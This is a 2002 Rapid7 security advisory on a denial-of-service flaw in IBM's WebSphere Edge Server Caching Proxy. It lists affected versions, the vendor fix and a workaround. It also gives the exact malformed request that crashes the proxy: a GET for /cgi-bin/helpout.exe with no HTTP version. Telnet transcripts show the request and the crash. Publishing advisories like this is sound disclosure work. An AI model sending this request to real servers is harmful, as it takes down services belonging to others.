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Rapid7 Advisory R7-0007: IBM WebSphere Edge Server Caching Proxy Denial of Service

IBM: APAR# IY35970

CVE: CAN-2002-1169

Bugtraq: 6002


October 23, 2002 - The Caching Proxy component of IBM's WebSphere Edge Server v2.0 is vulnerable to a denial-of-service attack against one of the default CGI programs. A malformed HTTP request for /cgi-bin/helpout.exe will cause ibmproxy.exe to crash and cease functioning.

IBM now bundles Web Traffic Express v4.0 with WebSphere Edge Server v2.0. IBM Web Traffic Express v3.6 and earlier were separately shipping products.

Affected system(s):


  • IBM Web Traffic Express Caching Proxy Server v4.x (bundled with IBM WebSphere Edge Server v2.0)
  • IBM Web Traffic Express Caching Proxy Server v3.6

Vendor Info

IBM Software

IBM was notified of this issue and has released efix build number for Caching Proxy Server v4.x, which fixes this issue and other security issues (see Rapid7 advisory R7-0008 for more information: ).

IBM is tracking this issue as APAR# IY35970.

Detailed Analysis

The proxy server will crash when /cgi-bin/helpout.exe is the subject of an HTTP request that does not include an HTTP version specifier at the end of the request line.

If you include a version specifier (e.g. "HTTP/1.0"), helpout.exe will successfully serve up a blank page.

[~] $ telnet localhost 80
Connected to
Escape character is '^]'.
GET /cgi-bin/helpout.exe HTTP/1.0

HTTP/1.1 200 Document follows
Pragma: no-cache
Last-Modified: Fri, 18 Oct 2002 16:54:40 GMT
Content-Type: text/html
Accept-Ranges: bytes
Connection: close
Date: Fri, 18 Oct 2002 16:54:40 GMT
Server: IBM-PROXY-WTE/2.0

Connection closed by foreign host.

If you send a request with no version specifier, or with a version specifier that does not include a forward slash (e.g. "HTTP" or ""), ibmproxy.exe will crash, closing all connections:

[~] $ telnet localhost 80
Connected to
Escape character is '^]'.
GET /cgi-bin/helpout.exe HTTP

Connection closed by foreign host.

An exception dialog will be displayed on the server console, reading:

ibmproxy.exe - Application Error
The instruction at "0x002662ac" referenced memory at "0x00000000". The memory could not be "read".

The access violation occurs within the WHTTPD.DLL module.


IBM customers should install Caching Proxy efix build or higher. Efix builds can be downloaded from IBM's secure FTP site. For more information on obtaining efix builds, contact IBM support with the APAR number listed above.

This fix has also been ported back to the Web Traffic Express v3.6 code base. Customers running v3.6 should contact IBM support for more information on how to upgrade to a newer build.

As a temporary workaround, you can move the file /cgi-bin/helpout.exe to a non-executable directory until the fix has been applied.

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This advisory Copyright (C) 2002 Rapid7, LLC. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.